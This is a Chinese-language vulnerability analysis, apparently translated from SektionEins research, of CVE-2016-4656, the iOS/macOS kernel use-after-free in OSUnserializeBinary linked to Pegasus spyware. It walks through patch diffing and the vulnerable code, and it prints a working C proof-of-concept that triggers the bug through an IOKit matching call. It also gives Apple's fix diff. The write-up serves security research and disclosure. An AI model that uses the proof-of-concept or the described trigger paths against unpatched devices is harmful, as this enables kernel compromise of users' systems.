时时勤拂拭,勿使惹尘埃

TOC

Categories

漏洞分析(四)CVE-2016-4656 PEGASUS iOS内核漏洞


0x0 背景

2016年8月25日,Apple 发布了iOS 9.3.5安全更新,以修复PEGASUS的iOS间谍工具。与之前发现的iOS恶意软件不同,此工具使用了三个不同的 0day漏洞来攻击iOS设备。不过,有关这些漏洞的公开信息相当少,因为Citizenlab、Lookout和Apple并未公开恶意代码样本,因此也无法进行第三方分析。
所以这次决定看看Apple发布的安全补丁,以便弄清楚PEGASUS滥用的漏洞。由于Stefan Esser专注于iOS内核问题,因此只涉及CVE-2016-4656内核漏洞。

0x1 补丁分析

不过分析iOS安全补丁并不那样简单。iOS 9内核仅以加密格式存储在设备和固件文件中。因此,为了获取解密内核的副本,要么具有允许解密内核的底层漏洞,要么对有问题的iOS版本进行越狱并从中获取内核内存转储。
本次决定使用越狱来从iOS测试设备中转储iOS 9.3.4和iOS 9.3.5内核。可以参考Mathew Solnik在博客文章中描述的方法,里面公开了通过内核漏洞从物理内存中转储完全解密的iOS内核的方法。
获取内核转储后,需要对比分析两个内核的差异,可以使用开源二进制diff插件Diaphora for IDA来完成。为了进行比较,先将iOS 9.3.4内核加载到IDA中,然后等待自动分析完成,然后使用Diaphora将当前的IDA数据库转储到SQLITE数据库格式中。之后再将iOS 9.3.5内核重复此过程,然后让Diaphora将这两个数据库区分开来。
下图为比较结果:
通过Diaphora可以发现了一些由iOS 9.3.5改变的函数,但是大多数这些变化只是跳跃目标的变化,不过从更改的函数列表中可以清楚地看出,最有可能的函数似乎是OSUnserializeXML
不过,由于重新排序导致iOS 9.3.4和iOS 9.3.5之间的函数发生了很大变化,所以分析差异会非常困难。好在通过进一步的分析,发现这个函数实际上是内联到另一个函数,通过查看与iOS内核非常相似的XNU源代码就可以更容易地找到漏洞,OS X 10.11.6的XNU内核可以在opensource.apple.com上找到。
查看代码显示内联函数实际上是OSUnserializeBinary:
OSObject*
OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString)
{
        if (!buffer) return (0);
        if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);

        if (!strcmp(kOSSerializeBinarySignature, buffer)) return OSUnserializeBinary(buffer, bufferSize, errorString);

        // XML must be null terminated
        if (buffer[bufferSize - 1]) return 0;

        return OSUnserializeXML(buffer, errorString);
}

0x2 OSUnserializeBinary

OSUnserializeBinary是OSUnserializeXML中添加的较新代码,用于处理二进制序列化数据。因此,此函数以与OSUnserializeXML使用相同的方式接收用户输入。这意味着攻击者可以通过简单地调用允许序列化参数的任何IOKit API(或mach API)函数来滥用它们,例如简单的IOKit匹配函数。这也意味着可以从iOS或OS X上使用的任何沙箱中触发漏洞。
这个新函数的源代码位于libkern/c++/OSSerializeBinary.cpp中,可以进行源码审计,而不用分析补丁。新序列化的数据格式不是很复杂,它由一个32位标识符组成,然后是32位对齐的标记和数据对象。
支持以下数据类型:
  • Dictionary
  • Array
  • Set
  • Number
  • Symbol
  • String
  • Data
  • Boolean
  • Object (对反序列化对象的引用)
其中,在32位的24-30位中对这些数据类型进行编码,较低的24位被保留作为数字数据,例如存储长度或集合元素计数器。第31位标记集合的最后一个元素,所有其他数据(字符串,符号,二进制数据,数字)在数据流中四个字节对齐。有关示例,请参阅下面列出的POC。

0x3 漏洞

发现漏洞非常简单,因为它看起来非常类似于PHP函数unserialize()中的UAF漏洞。OSUnserialize()中的漏洞源于相同的原因:反序列化器可以在反序列化期间引用先前释放的对象。
每当反序列化一个对象时,它就会被添加到一个对象表中。这个代码看起来像这样:
if (!isRef)
{
        setAtIndex(objs, objsIdx, o);
        if (!ok) break;
        objsIdx++;
}
这里与PHP一样犯了同样的错误,因为setAtIndex()宏不会增加已标记对象的引用计数器,如下所示:
define setAtIndex(v, idx, o)                                                            
        if (idx >= v##Capacity)                 
        {                                                         
                uint32_t ncap = v##Capacity + 64;     
                typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));  
                if (!nbuf) ok = false;       
                if (v##Array)                         
                {                                                   
                        bcopy(v##Array, nbuf, v##Capacity * sizeof(o));     
                        kfree(v##Array, v##Capacity * sizeof(o));         
                }                                                                
                v##Array    = nbuf;                                                       
                v##Capacity = ncap;                                                    
        }                                                                                         
        if (ok) v##Array[idx] = o;   <---- remember object WITHOUT COUNTING THE REFERENCE
如果在反序列化期间不释放对象,则不跟踪v##Array中的引用将不会有问题。但是,至少有一个代码分支允许在反序列化期间释放对象。
从下面的代码中可以看出,字典元素支持OSSymbol和OSString。但是,在OSString情况下,它们会转换为OSSymbol,然后销毁OSString对象。不幸的是被销毁的OSString对象已经添加到OBJ文件对象表。
if (dict)
{
        if (sym)
        {
                DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
                if (o != dict) ok = dict->setObject(sym, o, true);
                o->release();
                sym->release();
                sym = 0;
        }
        else
        {
                sym = OSDynamicCast(OSSymbol, o);
                if (!sym && (str = OSDynamicCast(OSString, o)))
                {
                    sym = (OSSymbol *) OSSymbol::withString(str);
                    o->release();  <---- destruction of OSString object that is already in objs table
                    o = 0;
                }
                ok = (sym != 0);
        }
}
因此,可以简单地使用kOSSerializeObject数据类型来创建已销毁OSString对象的引用,这是典型的UAF漏洞。

0x4 POC

找出问题后,创建POC如下来触发此漏洞,可以在macOS上尝试(与iOS一样易受攻击):
/*
 * Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH
 * compile on OS X like:
 *    gcc -arch i386 -framework IOKit -o ex exploit.c
 */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>

enum
{
  kOSSerializeDictionary   = 0x01000000U,
  kOSSerializeArray        = 0x02000000U,
  kOSSerializeSet          = 0x03000000U,
  kOSSerializeNumber       = 0x04000000U,
  kOSSerializeSymbol       = 0x08000000U,
  kOSSerializeString       = 0x09000000U,
  kOSSerializeData         = 0x0a000000U,
  kOSSerializeBoolean      = 0x0b000000U,
  kOSSerializeObject       = 0x0c000000U,
  kOSSerializeTypeMask     = 0x7F000000U,
  kOSSerializeDataMask     = 0x00FFFFFFU,
  kOSSerializeEndCollecton = 0x80000000U,
};

#define kOSSerializeBinarySignature "\323\0\0"

int main()
{
  char * data = malloc(1024);
  uint32_t * ptr = (uint32_t *) data;
  uint32_t bufpos = 0;
  mach_port_t master = 0, res;
  kern_return_t kr;

  /* create header */
  memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
  bufpos += sizeof(kOSSerializeBinarySignature);

  /* create a dictionary with 2 elements */
  *(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;
  /* our key is a OSString object */
  *(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
  /* our data is a simple boolean */
  *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
  /* now create a reference to object 1 which is the OSString object that was just freed */
  *(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;

  /* get a master port for IOKit API */
  host_get_io_master(mach_host_self(), &master);
  /* trigger the bug */
  kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
  printf("kr: 0x%x\n", kr);
}

0x5 后续

分析完上述部分后,发现了两个细节:
  1. OSUnserializeBinary()已经在2016年5月被苹果公司修补过一次,修复了上文中的UAF漏洞。
    发布该补丁是为了修复2016年1月11日Brandon Azad向Apple报告的漏洞CVE-2016-1828 ,详见Mac OS X Privilege Escalation via Use-After-Free: CVE-2016-1828
  2. 上文描述的UAF漏洞是在iOS 9和OS X 10.11之前的代码中,据悉PEGASUS与早期的iOS版本兼容,Apple甚至修补了早期的macOS版本,因此所描述的UAF漏洞不太可能是PEGASUS所使用的漏洞。
所以下面对PEGASUS使用漏洞进行一些更新。

0x6 OSUnserializeBinary()旧代码

393 if (dict)
394 {
395         if (sym)
396         {
397                 DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
398                 if (o != dict) ok = dict->setObject(sym, o);
399                 o->release();
400                 sym->release();
401                 sym = 0;
402         }
403         else
404         {
405                 sym = OSDynamicCast(OSSymbol, o);
406                 ok = (sym != 0);
407         }
408 }
在iOS 9.0和OS 10.11之前,dictionary keys必须是OSSymbol对象,而OSString代码路径尚未添加。这意味着上文中分析中解释的UAF触发器不适用于此旧版本的代码。
此外,仔细查看此代码并将其更详细地与上文分析进行比较,在旧版本的代码中,对setObject()的调用只有两个参数而不是三个,这是因为旧版尚未修复CVE-2016-1828。
现在详细地查看上面的代码,找出可以触发UAF条件的代码路径如下:
触发1:
在此代码中触发UAF条件的第一种方法是CVE-2016-1828:
  1. 第398行会将dictk1(sym)设置为对象o1
  2. 这会将o1k1的计数器增加一(从1到2)
  3. 在第399行中,释放了对象o1o1计数器减少到1
  4. 在400行,对象k1(sym )被释放,k1计数器减到1
  5. 上面步骤都很正常,但仍有字典保持了对这两个对象的引用
  6. 当下一个对象o2被反序列化并插入到dict中时,重复使用的相似密钥k1在398行代码即方法setObject()中,将用o2取代o1
    在替换期间,o1的计数器减少1到0。
  7. o1从内存中释放出来,但反序列化器会试图再次创建对该对象的引用,从而导致UAF。
触发2
在此代码中触发UAF条件的第二种方法是PEGASUS(CVE-2016-4656)可能使用的方法:
  1. 如果插入dict的对象odict自身,则398行不会调用方法setObject()
  2. 当没有执行setObject()时,osym的引用计数器永远不会增加
  3. 第399行将o的引用计数器减少到大于或等于1的某个值(因为它是对dict自身的引用)
  4. 第400行将sym的引用计数器减少到0可能性最大(比如符号是某个字符串)
  5. 此时OSSymbol对象sym被破坏
  6. 在此之后任何尝试创建对象sym的引用都将是UAF。
如上,iOS 9和OS X 10.11之前的代码已经有两个独立但非常相关的UAF触发代码路径。这意味着与本文第一部分中描述的第三个代码路径一起,仅仅20行代码,却有三个UAF触发代码路径。

0x7 修复

早在Apple发布CVE-2016-1828的修补程序时,他们对代码所做的唯一更改就是在调用setObject()方法时添加第三个参数true
if (o != dict) ok = dict->setObject(sym, o, true);
这将确保在尝试覆盖已设置的字典键时出现错误。因此,Brandon Azad报道的UAF情况不再被触发。
不幸的是,Apple还没有对OSUnserializeBinary()执行安全审计,否则熟练的审计员会意识到代码中有许多直接调用release(),这些调用可以用来提前从objsArray中释放对象,从而触发UAF。这将导致只是添加true作为setObject的第三个参数是一个不完整的修复。因此,在这20行代码中的另外两个UAF触发器仍可用于利用内核并完全穿透系统。
PEGASUS被发现后,现在苹果似乎已经花费更多的精力放在解决那些20行代码,因为他们不仅撤销为CVE-2016-1828的补丁,更是重构函数,现在函数中不再有任何调用release()部分(除了清理一个错误和一个临时变量)。这样,objsArray中的所有对象在返回结果之前会在函数的末尾被释放。从而在反序列化期间,引用计数器永远不会降为0。
可以在此处找到应用了补丁的OSSerializeBinary.cpp源码,对比差异如下:
--- OSSerializeBinary.cpp       2016-05-09 22:28:11.000000000 +0200
+++ OSSerializeBinaryPatched.cpp        2016-09-05 16:19:03.000000000 +0200
@@ -237,19 +237,21 @@

 /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

-#define setAtIndex(v, idx, o)                                                  \
+#define setAtIndex(v, idx, o, max)                                             \
        if (idx >= v##Capacity)                                                 \
        {                                                                       \
-               uint32_t ncap = v##Capacity + 64;                               \
-               typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));  \
-               if (!nbuf) ok = false;                                          \
-               if (v##Array)                                                   \
-               {                                                               \
-                       bcopy(v##Array, nbuf, v##Capacity * sizeof(o));         \
-                       kfree(v##Array, v##Capacity * sizeof(o));               \
-               }                                                               \
-               v##Array    = nbuf;                                             \
-               v##Capacity = ncap;                                             \
+               if (v##Capacity < max) {        \
+                       uint32_t ncap = v##Capacity + 64;                       \
+                       typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));  \
+                       if (!nbuf) ok = false;                                  \
+                       if (v##Array)                                           \
+                       {                                                       \
+                               bcopy(v##Array, nbuf, v##Capacity * sizeof(o));\
+                               kfree(v##Array, v##Capacity * sizeof(o));       \
+                       }                                                       \
+                       v##Array    = nbuf;                                     \
+                       v##Capacity = ncap;                                     \
+               } else ok = false;                                              \
        }                                                                       \
        if (ok) v##Array[idx] = o;

@@ -338,13 +340,12 @@
                    case kOSSerializeObject:
                                if (len >= objsIdx) break;
                                o = objsArray[len];
-                               o->retain();
                                isRef = true;
                                break;

                    case kOSSerializeNumber:
                                bufferPos += sizeof(long long);
-                               if (bufferPos > bufferSize) break;
+                               if (bufferPos > bufferSize || ((len != 32) && (len != 64) && (len != 16) && (len != 8))) break;
                        value = next[1];
                        value <<= 32;
                        value |= next[0];
@@ -354,7 +355,7 @@

                    case kOSSerializeSymbol:
                                bufferPos += (wordLen * sizeof(uint32_t));
-                               if (bufferPos > bufferSize)           break;
+                               if (bufferPos > bufferSize || len < 2)           break;
                                if (0 != ((const char *)next)[len-1]) break;
                        o = (OSObject *) OSSymbol::withCString((const char *) next);
                        next += wordLen;
@@ -386,8 +387,11 @@

                if (!isRef)
                {
-                       setAtIndex(objs, objsIdx, o);
-                       if (!ok) break;
+                       setAtIndex(objs, objsIdx, o, 0x1000000);
+                       if (!ok) {
+                               o->release();
+                               break;
+                       }
                        objsIdx++;
                }

@@ -395,33 +399,35 @@
                {
                        if (sym)
                        {
-                               DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
-                               if (o != dict) ok = dict->setObject(sym, o, true);
-                               o->release();
-                               sym->release();
-                               sym = 0;
+                               OSSymbol *sym2 = OSDynamicCast(OSSymbol, sym);
+                               if (!sym2 && (str = OSDynamicCast(OSString, sym)))
+                               {
+                                       sym2 = (OSSymbol *) OSSymbol::withString(str);
+                                       ok = (sym2 != 0);
+                                       if (!sym2) break;
+                               }
+
+                               if (o != dict) ok = dict->setObject(sym2, o);
+                               if (sym2 && sym2 != sym) {
+                                       sym2->release();
+                               }
                        }
                        else
                        {
-                               sym = OSDynamicCast(OSSymbol, o);
-                               if (!sym && (str = OSDynamicCast(OSString, o)))
-                               {
-                                   sym = (OSSymbol *) OSSymbol::withString(str);
-                                   o->release();
-                                   o = 0;
-                               }
-                               ok = (sym != 0);
+                               sym = o;
                        }
                }
                else if (array)
                {
                        ok = array->setObject(o);
-                   o->release();
                }
                else if (set)
                {
-                  ok = set->setObject(o);
-                  o->release();
+                       ok = set->setObject(o);
+               }
+               else if (result)
+               {
+                       ok = false;
                }
                else
                {
@@ -436,7 +442,7 @@
                        if (!end)
                        {
                                stackIdx++;
-                               setAtIndex(stack, stackIdx, parent);
+                               setAtIndex(stack, stackIdx, parent, 0x10000);
                                if (!ok) break;
                        }
                        DEBG("++stack[%d] %p\n", stackIdx, parent);
@@ -462,15 +468,19 @@
                        }
                }
        }
-       DEBG("ret %p\n", result);
-
-       if (objsCapacity)  kfree(objsArray,  objsCapacity  * sizeof(*objsArray));
-       if (stackCapacity) kfree(stackArray, stackCapacity * sizeof(*stackArray));

-       if (!ok && result)
+       if (!ok)
        {
-               result->release();
                result = 0;
        }
+       if (objsCapacity) {
+               uint32_t i;
+               for (i = (result?1:0); i < objsIndx; i++) {
+                       objsArray[i]->release();
+               }
+               kfree(objsArray,  objsCapacity  * sizeof(*objsArray));
+       }
+       if (stackCapacity) kfree(stackArray, stackCapacity * sizeof(*stackArray));
+
        return (result);
 }

0x8 总结

在过去的两周里,许多安全专业人士称赞苹果公司对PEGASUS威胁做出快速反应。之所以给予这种表扬,是因为有关各方保留了研究样本,并没有透露任何有关内核漏洞的详细信息。没有这些信息,公众只是假设PEGASUS监控恶意软件正在使用全新的内核漏洞来接管iOS设备,并且Apple在2016年8月中旬首次听到这些问题。
不幸的是,在弄清了PEGASUS使用的内核漏洞后,出现了一个完全不同的画面:被称为CVE-2016-4656的内核漏洞仍然在代码中,因为Apple在2016年5月修补了CVE-2016-1828而没有对相关代码进行安全审查。在只有20行代码中,存在允许UAF的三个代码路径。而Apple只修复了其中一条路径,尽管其他release()方法在代码中明显紧挨着它。此外,现在发布的PEGASUS补丁显示,通过稍微重新设计代码,Apple能够同时解决所有三个问题。Brandon Azad在1月份报道UAF之后,我们认为这是一次巨大的疏忽。如果Apple以不同的方式修复了CVE-2016-1828,那么CVE-2016-4656将永远不会被滥用。
不幸的是,这不是Apple第一次拙劣的进行安全修复。SektionEins已经强调了这个令人不安的问题,而苹果两年来一次又一次拙劣的进行安全修复。由于反复强调Apple缺乏安全补丁的质量保证,这使得我们与Apple关系极其恶劣,而且导致iOS AppStore下架了我们的SysSecInfo安全应用程序。详情见此
最后的思考:
考察过Brandon Azad的CVE-2016-1828和PEGASUS的CVE-2016-4656,我们认为PEGASUS中使用的内核bug比Brandon Azad发现的bug更难以发现并更难以利用。这让我们相信,在CVE-2016-1828的修复程序已经发布之前,应该尚未编写PEGASUS中使用的漏洞,否则该作者应该会发现并选择更容易利用的漏洞。这可能意味着CVE-2016-1828已被用于以前的PEGASUS版本,或者该作者发现了CVE-2016-1828修复不完整。但这些也都只是猜测。